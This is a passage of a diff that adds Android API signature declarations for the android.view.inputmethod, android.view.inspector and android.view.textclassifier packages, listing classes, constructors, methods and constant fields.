+    method @NonNull public String getHostPackageName();
+    method @NonNull public java.util.List<android.widget.inline.InlinePresentationSpec> getInlinePresentationSpecs();
+    method @Nullable public android.widget.inline.InlinePresentationSpec getInlineTooltipPresentationSpec();
+    method public int getMaxSuggestionCount();
+    method @NonNull public android.os.LocaleList getSupportedLocales();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.InlineSuggestionsRequest> CREATOR;
+    field public static final int SUGGESTION_COUNT_UNLIMITED = 2147483647; // 0x7fffffff
+  }
+
+  public static final class InlineSuggestionsRequest.Builder {
+    ctor public InlineSuggestionsRequest.Builder(@NonNull java.util.List<android.widget.inline.InlinePresentationSpec>);
+    method @NonNull public android.view.inputmethod.InlineSuggestionsRequest.Builder addInlinePresentationSpecs(@NonNull android.widget.inline.InlinePresentationSpec);
+    method @NonNull public android.view.inputmethod.InlineSuggestionsRequest build();
+    method @NonNull public android.view.inputmethod.InlineSuggestionsRequest.Builder setExtras(@NonNull android.os.Bundle);
+    method @NonNull public android.view.inputmethod.InlineSuggestionsRequest.Builder setInlinePresentationSpecs(@NonNull java.util.List<android.widget.inline.InlinePresentationSpec>);
+    method @NonNull public android.view.inputmethod.InlineSuggestionsRequest.Builder setInlineTooltipPresentationSpec(@NonNull android.widget.inline.InlinePresentationSpec);
+    method @NonNull public android.view.inputmethod.InlineSuggestionsRequest.Builder setMaxSuggestionCount(int);
+    method @NonNull public android.view.inputmethod.InlineSuggestionsRequest.Builder setSupportedLocales(@NonNull android.os.LocaleList);
+  }
+
+  public final class InlineSuggestionsResponse implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.List<android.view.inputmethod.InlineSuggestion> getInlineSuggestions();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.InlineSuggestionsResponse> CREATOR;
+  }
+
+  public final class InputBinding implements android.os.Parcelable {
+    ctor public InputBinding(android.view.inputmethod.InputConnection, android.os.IBinder, int, int);
+    ctor public InputBinding(android.view.inputmethod.InputConnection, android.view.inputmethod.InputBinding);
+    method public int describeContents();
+    method public android.view.inputmethod.InputConnection getConnection();
+    method public android.os.IBinder getConnectionToken();
+    method public int getPid();
+    method public int getUid();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.InputBinding> CREATOR;
+  }
+
+  public interface InputConnection {
+    method public boolean beginBatchEdit();
+    method public boolean clearMetaKeyStates(int);
+    method public void closeConnection();
+    method public boolean commitCompletion(android.view.inputmethod.CompletionInfo);
+    method public boolean commitContent(@NonNull android.view.inputmethod.InputContentInfo, int, @Nullable android.os.Bundle);
+    method public boolean commitCorrection(android.view.inputmethod.CorrectionInfo);
+    method public boolean commitText(CharSequence, int);
+    method public boolean deleteSurroundingText(int, int);
+    method public boolean deleteSurroundingTextInCodePoints(int, int);
+    method public boolean endBatchEdit();
+    method public boolean finishComposingText();
+    method public int getCursorCapsMode(int);
+    method public android.view.inputmethod.ExtractedText getExtractedText(android.view.inputmethod.ExtractedTextRequest, int);
+    method public android.os.Handler getHandler();
+    method public CharSequence getSelectedText(int);
+    method @Nullable public default android.view.inputmethod.SurroundingText getSurroundingText(@IntRange(from=0) int, @IntRange(from=0) int, int);
+    method @Nullable public CharSequence getTextAfterCursor(@IntRange(from=0) int, int);
+    method @Nullable public CharSequence getTextBeforeCursor(@IntRange(from=0) int, int);
+    method public boolean performContextMenuAction(int);
+    method public boolean performEditorAction(int);
+    method public boolean performPrivateCommand(String, android.os.Bundle);
+    method public default boolean performSpellCheck();
+    method public boolean reportFullscreenMode(boolean);
+    method public boolean requestCursorUpdates(int);
+    method public boolean sendKeyEvent(android.view.KeyEvent);
+    method public boolean setComposingRegion(int, int);
+    method public boolean setComposingText(CharSequence, int);
+    method public default boolean setImeConsumesInput(boolean);
+    method public boolean setSelection(int, int);
+    field public static final int CURSOR_UPDATE_IMMEDIATE = 1; // 0x1
+    field public static final int CURSOR_UPDATE_MONITOR = 2; // 0x2
+    field public static final int GET_EXTRACTED_TEXT_MONITOR = 1; // 0x1
+    field public static final int GET_TEXT_WITH_STYLES = 1; // 0x1
+    field public static final int INPUT_CONTENT_GRANT_READ_URI_PERMISSION = 1; // 0x1
+  }
+
+  public class InputConnectionWrapper implements android.view.inputmethod.InputConnection {
+    ctor public InputConnectionWrapper(android.view.inputmethod.InputConnection, boolean);
+    method public boolean beginBatchEdit();
+    method public boolean clearMetaKeyStates(int);
+    method public void closeConnection();
+    method public boolean commitCompletion(android.view.inputmethod.CompletionInfo);
+    method public boolean commitContent(android.view.inputmethod.InputContentInfo, int, android.os.Bundle);
+    method public boolean commitCorrection(android.view.inputmethod.CorrectionInfo);
+    method public boolean commitText(CharSequence, int);
+    method public boolean deleteSurroundingText(int, int);
+    method public boolean deleteSurroundingTextInCodePoints(int, int);
+    method public boolean endBatchEdit();
+    method public boolean finishComposingText();
+    method public int getCursorCapsMode(int);
+    method public android.view.inputmethod.ExtractedText getExtractedText(android.view.inputmethod.ExtractedTextRequest, int);
+    method public android.os.Handler getHandler();
+    method public CharSequence getSelectedText(int);
+    method @Nullable public CharSequence getTextAfterCursor(@IntRange(from=0) int, int);
+    method @Nullable public CharSequence getTextBeforeCursor(@IntRange(from=0) int, int);
+    method public boolean performContextMenuAction(int);
+    method public boolean performEditorAction(int);
+    method public boolean performPrivateCommand(String, android.os.Bundle);
+    method public boolean reportFullscreenMode(boolean);
+    method public boolean requestCursorUpdates(int);
+    method public boolean sendKeyEvent(android.view.KeyEvent);
+    method public boolean setComposingRegion(int, int);
+    method public boolean setComposingText(CharSequence, int);
+    method public boolean setSelection(int, int);
+    method public void setTarget(android.view.inputmethod.InputConnection);
+  }
+
+  public final class InputContentInfo implements android.os.Parcelable {
+    ctor public InputContentInfo(@NonNull android.net.Uri, @NonNull android.content.ClipDescription);
+    ctor public InputContentInfo(@NonNull android.net.Uri, @NonNull android.content.ClipDescription, @Nullable android.net.Uri);
+    method public int describeContents();
+    method @NonNull public android.net.Uri getContentUri();
+    method @NonNull public android.content.ClipDescription getDescription();
+    method @Nullable public android.net.Uri getLinkUri();
+    method public void releasePermission();
+    method public void requestPermission();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.InputContentInfo> CREATOR;
+  }
+
+  public interface InputMethod {
+    method @MainThread public void attachToken(android.os.IBinder);
+    method @MainThread public void bindInput(android.view.inputmethod.InputBinding);
+    method @MainThread public void changeInputMethodSubtype(android.view.inputmethod.InputMethodSubtype);
+    method @MainThread public void createSession(android.view.inputmethod.InputMethod.SessionCallback);
+    method @MainThread public void hideSoftInput(int, android.os.ResultReceiver);
+    method @MainThread public void restartInput(android.view.inputmethod.InputConnection, android.view.inputmethod.EditorInfo);
+    method @MainThread public void revokeSession(android.view.inputmethod.InputMethodSession);
+    method @MainThread public void setSessionEnabled(android.view.inputmethod.InputMethodSession, boolean);
+    method @MainThread public void showSoftInput(int, android.os.ResultReceiver);
+    method @MainThread public void startInput(android.view.inputmethod.InputConnection, android.view.inputmethod.EditorInfo);
+    method @MainThread public void unbindInput();
+    field public static final String SERVICE_INTERFACE = "android.view.InputMethod";
+    field public static final String SERVICE_META_DATA = "android.view.im";
+    field public static final int SHOW_EXPLICIT = 1; // 0x1
+    field public static final int SHOW_FORCED = 2; // 0x2
+  }
+
+  public static interface InputMethod.SessionCallback {
+    method public void sessionCreated(android.view.inputmethod.InputMethodSession);
+  }
+
+  public final class InputMethodInfo implements android.os.Parcelable {
+    ctor public InputMethodInfo(android.content.Context, android.content.pm.ResolveInfo) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    ctor public InputMethodInfo(String, String, CharSequence, String);
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method public android.content.ComponentName getComponent();
+    method public int getConfigChanges();
+    method public String getId();
+    method public int getIsDefaultResourceId();
+    method public String getPackageName();
+    method public android.content.pm.ServiceInfo getServiceInfo();
+    method public String getServiceName();
+    method public String getSettingsActivity();
+    method public android.view.inputmethod.InputMethodSubtype getSubtypeAt(int);
+    method public int getSubtypeCount();
+    method public android.graphics.drawable.Drawable loadIcon(android.content.pm.PackageManager);
+    method public CharSequence loadLabel(android.content.pm.PackageManager);
+    method public boolean shouldShowInInputMethodPicker();
+    method public boolean suppressesSpellChecker();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.InputMethodInfo> CREATOR;
+  }
+
+  public final class InputMethodManager {
+    method public void dispatchKeyEventFromInputMethod(@Nullable android.view.View, @NonNull android.view.KeyEvent);
+    method public void displayCompletions(android.view.View, android.view.inputmethod.CompletionInfo[]);
+    method public android.view.inputmethod.InputMethodSubtype getCurrentInputMethodSubtype();
+    method public java.util.List<android.view.inputmethod.InputMethodInfo> getEnabledInputMethodList();
+    method public java.util.List<android.view.inputmethod.InputMethodSubtype> getEnabledInputMethodSubtypeList(android.view.inputmethod.InputMethodInfo, boolean);
+    method public java.util.List<android.view.inputmethod.InputMethodInfo> getInputMethodList();
+    method public android.view.inputmethod.InputMethodSubtype getLastInputMethodSubtype();
+    method public java.util.Map<android.view.inputmethod.InputMethodInfo,java.util.List<android.view.inputmethod.InputMethodSubtype>> getShortcutInputMethodsAndSubtypes();
+    method @Deprecated public void hideSoftInputFromInputMethod(android.os.IBinder, int);
+    method public boolean hideSoftInputFromWindow(android.os.IBinder, int);
+    method public boolean hideSoftInputFromWindow(android.os.IBinder, int, android.os.ResultReceiver);
+    method @Deprecated public void hideStatusIcon(android.os.IBinder);
+    method public boolean isAcceptingText();
+    method public boolean isActive(android.view.View);
+    method public boolean isActive();
+    method public boolean isFullscreenMode();
+    method public boolean isInputMethodSuppressingSpellChecker();
+    method @Deprecated public boolean isWatchingCursor(android.view.View);
+    method public void restartInput(android.view.View);
+    method public void sendAppPrivateCommand(android.view.View, String, android.os.Bundle);
+    method @Deprecated public void setAdditionalInputMethodSubtypes(String, android.view.inputmethod.InputMethodSubtype[]);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.WRITE_SECURE_SETTINGS) public boolean setCurrentInputMethodSubtype(android.view.inputmethod.InputMethodSubtype);
+    method @Deprecated public void setInputMethod(android.os.IBinder, String);
+    method @Deprecated public void setInputMethodAndSubtype(@NonNull android.os.IBinder, String, android.view.inputmethod.InputMethodSubtype);
+    method @Deprecated public boolean shouldOfferSwitchingToNextInputMethod(android.os.IBinder);
+    method public void showInputMethodAndSubtypeEnabler(String);
+    method public void showInputMethodPicker();
+    method public boolean showSoftInput(android.view.View, int);
+    method public boolean showSoftInput(android.view.View, int, android.os.ResultReceiver);
+    method @Deprecated public void showSoftInputFromInputMethod(android.os.IBinder, int);
+    method @Deprecated public void showStatusIcon(android.os.IBinder, String, @DrawableRes int);
+    method @Deprecated public boolean switchToLastInputMethod(android.os.IBinder);
+    method @Deprecated public boolean switchToNextInputMethod(android.os.IBinder, boolean);
+    method @Deprecated public void toggleSoftInput(int, int);
+    method @Deprecated public void toggleSoftInputFromWindow(android.os.IBinder, int, int);
+    method @Deprecated public void updateCursor(android.view.View, int, int, int, int);
+    method public void updateCursorAnchorInfo(android.view.View, android.view.inputmethod.CursorAnchorInfo);
+    method public void updateExtractedText(android.view.View, int, android.view.inputmethod.ExtractedText);
+    method public void updateSelection(android.view.View, int, int, int, int);
+    method @Deprecated public void viewClicked(android.view.View);
+    field public static final int HIDE_IMPLICIT_ONLY = 1; // 0x1
+    field public static final int HIDE_NOT_ALWAYS = 2; // 0x2
+    field public static final int RESULT_HIDDEN = 3; // 0x3
+    field public static final int RESULT_SHOWN = 2; // 0x2
+    field public static final int RESULT_UNCHANGED_HIDDEN = 1; // 0x1
+    field public static final int RESULT_UNCHANGED_SHOWN = 0; // 0x0
+    field public static final int SHOW_FORCED = 2; // 0x2
+    field public static final int SHOW_IMPLICIT = 1; // 0x1
+  }
+
+  public interface InputMethodSession {
+    method public void appPrivateCommand(String, android.os.Bundle);
+    method public void dispatchGenericMotionEvent(int, android.view.MotionEvent, android.view.inputmethod.InputMethodSession.EventCallback);
+    method public void dispatchKeyEvent(int, android.view.KeyEvent, android.view.inputmethod.InputMethodSession.EventCallback);
+    method public void dispatchTrackballEvent(int, android.view.MotionEvent, android.view.inputmethod.InputMethodSession.EventCallback);
+    method public void displayCompletions(android.view.inputmethod.CompletionInfo[]);
+    method public void finishInput();
+    method @Deprecated public void toggleSoftInput(int, int);
+    method public void updateCursor(android.graphics.Rect);
+    method public void updateCursorAnchorInfo(android.view.inputmethod.CursorAnchorInfo);
+    method public void updateExtractedText(int, android.view.inputmethod.ExtractedText);
+    method public void updateSelection(int, int, int, int, int, int);
+    method public void viewClicked(boolean);
+  }
+
+  public static interface InputMethodSession.EventCallback {
+    method public void finishedEvent(int, boolean);
+  }
+
+  public final class InputMethodSubtype implements android.os.Parcelable {
+    ctor @Deprecated public InputMethodSubtype(int, int, String, String, String, boolean, boolean);
+    ctor @Deprecated public InputMethodSubtype(int, int, String, String, String, boolean, boolean, int);
+    method public boolean containsExtraValueKey(String);
+    method public int describeContents();
+    method @NonNull public CharSequence getDisplayName(android.content.Context, String, android.content.pm.ApplicationInfo);
+    method public String getExtraValue();
+    method public String getExtraValueOf(String);
+    method public int getIconResId();
+    method @NonNull public String getLanguageTag();
+    method @Deprecated @NonNull public String getLocale();
+    method public String getMode();
+    method public int getNameResId();
+    method public boolean isAsciiCapable();
+    method public boolean isAuxiliary();
+    method public boolean overridesImplicitlyEnabledSubtype();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.InputMethodSubtype> CREATOR;
+  }
+
+  public static class InputMethodSubtype.InputMethodSubtypeBuilder {
+    ctor public InputMethodSubtype.InputMethodSubtypeBuilder();
+    method public android.view.inputmethod.InputMethodSubtype build();
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setIsAsciiCapable(boolean);
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setIsAuxiliary(boolean);
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setLanguageTag(String);
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setOverridesImplicitlyEnabledSubtype(boolean);
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setSubtypeExtraValue(String);
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setSubtypeIconResId(int);
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setSubtypeId(int);
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setSubtypeLocale(String);
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setSubtypeMode(String);
+    method public android.view.inputmethod.InputMethodSubtype.InputMethodSubtypeBuilder setSubtypeNameResId(int);
+  }
+
+  public final class SurroundingText implements android.os.Parcelable {
+    ctor public SurroundingText(@NonNull CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, @IntRange(from=0xffffffff) int);
+    method public int describeContents();
+    method @IntRange(from=0xffffffff) public int getOffset();
+    method @IntRange(from=0) public int getSelectionEnd();
+    method @IntRange(from=0) public int getSelectionStart();
+    method @NonNull public CharSequence getText();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.SurroundingText> CREATOR;
+  }
+
+}
+
+package android.view.inspector {
+
+  public interface InspectionCompanion<T> {
+    method public void mapProperties(@NonNull android.view.inspector.PropertyMapper);
+    method public void readProperties(@NonNull T, @NonNull android.view.inspector.PropertyReader);
+  }
+
+  public static class InspectionCompanion.UninitializedPropertyMapException extends java.lang.RuntimeException {
+    ctor public InspectionCompanion.UninitializedPropertyMapException();
+  }
+
+  public interface InspectionCompanionProvider {
+    method @Nullable public <T> android.view.inspector.InspectionCompanion<T> provide(@NonNull Class<T>);
+  }
+
+  public final class IntFlagMapping {
+    ctor public IntFlagMapping();
+    method public void add(int, int, @NonNull String);
+    method @NonNull public java.util.Set<java.lang.String> get(int);
+  }
+
+  public interface PropertyMapper {
+    method public int mapBoolean(@NonNull String, @AttrRes int);
+    method public int mapByte(@NonNull String, @AttrRes int);
+    method public int mapChar(@NonNull String, @AttrRes int);
+    method public int mapColor(@NonNull String, @AttrRes int);
+    method public int mapDouble(@NonNull String, @AttrRes int);
+    method public int mapFloat(@NonNull String, @AttrRes int);
+    method public int mapGravity(@NonNull String, @AttrRes int);
+    method public int mapInt(@NonNull String, @AttrRes int);
+    method public int mapIntEnum(@NonNull String, @AttrRes int, @NonNull java.util.function.IntFunction<java.lang.String>);
+    method public int mapIntFlag(@NonNull String, @AttrRes int, @NonNull java.util.function.IntFunction<java.util.Set<java.lang.String>>);
+    method public int mapLong(@NonNull String, @AttrRes int);
+    method public int mapObject(@NonNull String, @AttrRes int);
+    method public int mapResourceId(@NonNull String, @AttrRes int);
+    method public int mapShort(@NonNull String, @AttrRes int);
+  }
+
+  public static class PropertyMapper.PropertyConflictException extends java.lang.RuntimeException {
+    ctor public PropertyMapper.PropertyConflictException(@NonNull String, @NonNull String, @NonNull String);
+  }
+
+  public interface PropertyReader {
+    method public void readBoolean(int, boolean);
+    method public void readByte(int, byte);
+    method public void readChar(int, char);
+    method public void readColor(int, @ColorInt int);
+    method public void readColor(int, @ColorLong long);
+    method public void readColor(int, @Nullable android.graphics.Color);
+    method public void readDouble(int, double);
+    method public void readFloat(int, float);
+    method public void readGravity(int, int);
+    method public void readInt(int, int);
+    method public void readIntEnum(int, int);
+    method public void readIntFlag(int, int);
+    method public void readLong(int, long);
+    method public void readObject(int, @Nullable Object);
+    method public void readResourceId(int, @AnyRes int);
+    method public void readShort(int, short);
+  }
+
+  public static class PropertyReader.PropertyTypeMismatchException extends java.lang.RuntimeException {
+    ctor public PropertyReader.PropertyTypeMismatchException(int, @NonNull String, @NonNull String, @Nullable String);
+    ctor public PropertyReader.PropertyTypeMismatchException(int, @NonNull String, @NonNull String);
+  }
+
+  public class StaticInspectionCompanionProvider implements android.view.inspector.InspectionCompanionProvider {
+    ctor public StaticInspectionCompanionProvider();
+    method @Nullable public <T> android.view.inspector.InspectionCompanion<T> provide(@NonNull Class<T>);
+  }
+
+  public final class WindowInspector {
+    method @NonNull public static java.util.List<android.view.View> getGlobalWindowViews();
+  }
+
+}
+
+package android.view.textclassifier {
+
+  public final class ConversationAction implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.app.RemoteAction getAction();
+    method @FloatRange(from=0, to=1) public float getConfidenceScore();
+    method @NonNull public android.os.Bundle getExtras();
+    method @Nullable public CharSequence getTextReply();
+    method @NonNull public String getType();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.ConversationAction> CREATOR;
+    field public static final String TYPE_CALL_PHONE = "call_phone";
+    field public static final String TYPE_CREATE_REMINDER = "create_reminder";
+    field public static final String TYPE_OPEN_URL = "open_url";
+    field public static final String TYPE_SEND_EMAIL = "send_email";
+    field public static final String TYPE_SEND_SMS = "send_sms";
+    field public static final String TYPE_SHARE_LOCATION = "share_location";
+    field public static final String TYPE_TEXT_REPLY = "text_reply";
+    field public static final String TYPE_TRACK_FLIGHT = "track_flight";
+    field public static final String TYPE_VIEW_CALENDAR = "view_calendar";
+    field public static final String TYPE_VIEW_MAP = "view_map";
+  }
+
+  public static final class ConversationAction.Builder {
+    ctor public ConversationAction.Builder(@NonNull String);
+    method @NonNull public android.view.textclassifier.ConversationAction build();
+    method @NonNull public android.view.textclassifier.ConversationAction.Builder setAction(@Nullable android.app.RemoteAction);
+    method @NonNull public android.view.textclassifier.ConversationAction.Builder setConfidenceScore(@FloatRange(from=0, to=1) float);
+    method @NonNull public android.view.textclassifier.ConversationAction.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.view.textclassifier.ConversationAction.Builder setTextReply(@Nullable CharSequence);
+  }
+
+  public final class ConversationActions implements android.os.Parcelable {
+    ctor public ConversationActions(@NonNull java.util.List<android.view.textclassifier.ConversationAction>, @Nullable String);
+    method public int describeContents();
+    method @NonNull public java.util.List<android.view.textclassifier.ConversationAction> getConversationActions();
+    method @Nullable public String getId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.ConversationActions> CREATOR;
+  }
+
+  public static final class ConversationActions.Message implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.app.Person getAuthor();
+    method @NonNull public android.os.Bundle getExtras();
+    method @Nullable public java.time.ZonedDateTime getReferenceTime();
+    method @Nullable public CharSequence getText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.ConversationActions.Message> CREATOR;
+    field @NonNull public static final android.app.Person PERSON_USER_OTHERS;
+    field @NonNull public static final android.app.Person PERSON_USER_SELF;
+  }
+
+  public static final class ConversationActions.Message.Builder {
+    ctor public ConversationActions.Message.Builder(@NonNull android.app.Person);
+    method @NonNull public android.view.textclassifier.ConversationActions.Message build();
+    method @NonNull public android.view.textclassifier.ConversationActions.Message.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.view.textclassifier.ConversationActions.Message.Builder setReferenceTime(@Nullable java.time.ZonedDateTime);
+    method @NonNull public android.view.textclassifier.ConversationActions.Message.Builder setText(@Nullable CharSequence);
+  }
+
+  public static final class ConversationActions.Request implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getCallingPackageName();
+    method @NonNull public java.util.List<android.view.textclassifier.ConversationActions.Message> getConversation();
+    method @NonNull public android.os.Bundle getExtras();
+    method @NonNull public java.util.List<java.lang.String> getHints();
+    method @IntRange(from=0xffffffff) public int getMaxSuggestions();
+    method @NonNull public android.view.textclassifier.TextClassifier.EntityConfig getTypeConfig();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.ConversationActions.Request> CREATOR;
+    field public static final String HINT_FOR_IN_APP = "in_app";
+    field public static final String HINT_FOR_NOTIFICATION = "notification";
+  }
+
+  public static final class ConversationActions.Request.Builder {
+    ctor public ConversationActions.Request.Builder(@NonNull java.util.List<android.view.textclassifier.ConversationActions.Message>);
+    method @NonNull public android.view.textclassifier.ConversationActions.Request build();
+    method @NonNull public android.view.textclassifier.ConversationActions.Request.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.view.textclassifier.ConversationActions.Request.Builder setHints(@Nullable java.util.List<java.lang.String>);
+    method @NonNull public android.view.textclassifier.ConversationActions.Request.Builder setMaxSuggestions(@IntRange(from=0xffffffff) int);
+    method @NonNull public android.view.textclassifier.ConversationActions.Request.Builder setTypeConfig(@Nullable android.view.textclassifier.TextClassifier.EntityConfig);
+  }
+
+  public final class SelectionEvent implements android.os.Parcelable {
+    method @NonNull public static android.view.textclassifier.SelectionEvent createSelectionActionEvent(int, int, int);
+    method @NonNull public static android.view.textclassifier.SelectionEvent createSelectionActionEvent(int, int, int, @NonNull android.view.textclassifier.TextClassification);
+    method @NonNull public static android.view.textclassifier.SelectionEvent createSelectionModifiedEvent(int, int);
+    method @NonNull public static android.view.textclassifier.SelectionEvent createSelectionModifiedEvent(int, int, @NonNull android.view.textclassifier.TextClassification);
+    method @NonNull public static android.view.textclassifier.SelectionEvent createSelectionModifiedEvent(int, int, @NonNull android.view.textclassifier.TextSelection);
+    method @NonNull public static android.view.textclassifier.SelectionEvent createSelectionStartedEvent(int, int);
+    method public int describeContents();
+    method public long getDurationSincePreviousEvent();
+    method public long getDurationSinceSessionStart();
+    method public int getEnd();
+    method @NonNull public String getEntityType();
+    method public int getEventIndex();
+    method public long getEventTime();
+    method public int getEventType();
+    method public int getInvocationMethod();
+    method @NonNull public String getPackageName();
+    method @Nullable public String getResultId();
+    method @Nullable public android.view.textclassifier.TextClassificationSessionId getSessionId();
+    method public int getSmartEnd();
+    method public int getSmartStart();
+    method public int getStart();
+    method @NonNull public String getWidgetType();
+    method @Nullable public String getWidgetVersion();
+    method public static boolean isTerminal(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ACTION_ABANDON = 107; // 0x6b
+    field public static final int ACTION_COPY = 101; // 0x65
+    field public static final int ACTION_CUT = 103; // 0x67
+    field public static final int ACTION_DRAG = 106; // 0x6a
+    field public static final int ACTION_OTHER = 108; // 0x6c
+    field public static final int ACTION_OVERTYPE = 100; // 0x64
+    field public static final int ACTION_PASTE = 102; // 0x66
+    field public static final int ACTION_RESET = 201; // 0xc9
+    field public static final int ACTION_SELECT_ALL = 200; // 0xc8
+    field public static final int ACTION_SHARE = 104; // 0x68
+    field public static final int ACTION_SMART_SHARE = 105; // 0x69
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.SelectionEvent> CREATOR;
+    field public static final int EVENT_AUTO_SELECTION = 5; // 0x5
+    field public static final int EVENT_SELECTION_MODIFIED = 2; // 0x2
+    field public static final int EVENT_SELECTION_STARTED = 1; // 0x1
+    field public static final int EVENT_SMART_SELECTION_MULTI = 4; // 0x4
+    field public static final int EVENT_SMART_SELECTION_SINGLE = 3; // 0x3
+    field public static final int INVOCATION_LINK = 2; // 0x2
+    field public static final int INVOCATION_MANUAL = 1; // 0x1
+    field public static final int INVOCATION_UNKNOWN = 0; // 0x0
+  }
+
+  public final class TextClassification implements android.os.Parcelable {
+    method public int describeContents();
+    method public java.util.List<android.app.RemoteAction> getActions();
+    method @FloatRange(from=0.0, to=1.0) public float getConfidenceScore(String);
+    method @NonNull public String getEntity(int);
+    method @IntRange(from=0) public int getEntityCount();
+    method @NonNull public android.os.Bundle getExtras();
+    method @Deprecated @Nullable public android.graphics.drawable.Drawable getIcon();
+    method @Nullable public String getId();
+    method @Deprecated @Nullable public android.content.Intent getIntent();
+    method @Deprecated @Nullable public CharSequence getLabel();
+    method @Deprecated @Nullable public android.view.View.OnClickListener getOnClickListener();
+    method @Nullable public String getText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassification> CREATOR;
+  }
+
+  public static final class TextClassification.Builder {
+    ctor public TextClassification.Builder();
+    method @NonNull public android.view.textclassifier.TextClassification.Builder addAction(@NonNull android.app.RemoteAction);
+    method @NonNull public android.view.textclassifier.TextClassification build();
+    method @NonNull public android.view.textclassifier.TextClassification.Builder setEntityType(@NonNull String, @FloatRange(from=0.0, to=1.0) float);
+    method @NonNull public android.view.textclassifier.TextClassification.Builder setExtras(@Nullable android.os.Bundle);
+    method @Deprecated @NonNull public android.view.textclassifier.TextClassification.Builder setIcon(@Nullable android.graphics.drawable.Drawable);
+    method @NonNull public android.view.textclassifier.TextClassification.Builder setId(@Nullable String);
+    method @Deprecated @NonNull public android.view.textclassifier.TextClassification.Builder setIntent(@Nullable android.content.Intent);
+    method @Deprecated @NonNull public android.view.textclassifier.TextClassification.Builder setLabel(@Nullable String);
+    method @Deprecated @NonNull public android.view.textclassifier.TextClassification.Builder setOnClickListener(@Nullable android.view.View.OnClickListener);
+    method @NonNull public android.view.textclassifier.TextClassification.Builder setText(@Nullable String);
+  }
+
+  public static final class TextClassification.Request implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getCallingPackageName();
+    method @Nullable public android.os.LocaleList getDefaultLocales();
+    method @IntRange(from=0) public int getEndIndex();
+    method @NonNull public android.os.Bundle getExtras();
+    method @Nullable public java.time.ZonedDateTime getReferenceTime();
+    method @IntRange(from=0) public int getStartIndex();
+    method @NonNull public CharSequence getText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassification.Request> CREATOR;
+  }
+
+  public static final class TextClassification.Request.Builder {
+    ctor public TextClassification.Request.Builder(@NonNull CharSequence, @IntRange(from=0) int, @IntRange(from=0) int);
+    method @NonNull public android.view.textclassifier.TextClassification.Request build();
+    method @NonNull public android.view.textclassifier.TextClassification.Request.Builder setDefaultLocales(@Nullable android.os.LocaleList);
+    method @NonNull public android.view.textclassifier.TextClassification.Request.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.view.textclassifier.TextClassification.Request.Builder setReferenceTime(@Nullable java.time.ZonedDateTime);
+  }
+
+  public final class TextClassificationContext implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public String getPackageName();
+    method @NonNull public String getWidgetType();
+    method @Nullable public String getWidgetVersion();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.textclassifier.TextClassificationContext> CREATOR;
+  }
+
+  public static final class TextClassificationContext.Builder {
+    ctor public TextClassificationContext.Builder(@NonNull String, @NonNull String);
+    method @NonNull public android.view.textclassifier.TextClassificationContext build();
+    method public android.view.textclassifier.TextClassificationContext.Builder setWidgetVersion(@Nullable String);
+  }
+
+  public final class TextClassificationManager {
+    method @NonNull public android.view.textclassifier.TextClassifier createTextClassificationSession(@NonNull android.view.textclassifier.TextClassificationContext);
+    method @NonNull public android.view.textclassifier.TextClassifier getTextClassifier();
+    method public void setTextClassificationSessionFactory(@Nullable android.view.textclassifier.TextClassificationSessionFactory);
+    method public void setTextClassifier(@Nullable android.view.textclassifier.TextClassifier);
+  }
+
+  public interface TextClassificationSessionFactory {
+    method @NonNull public android.view.textclassifier.TextClassifier createTextClassificationSession(@NonNull android.view.textclassifier.TextClassificationContext);
+  }
+
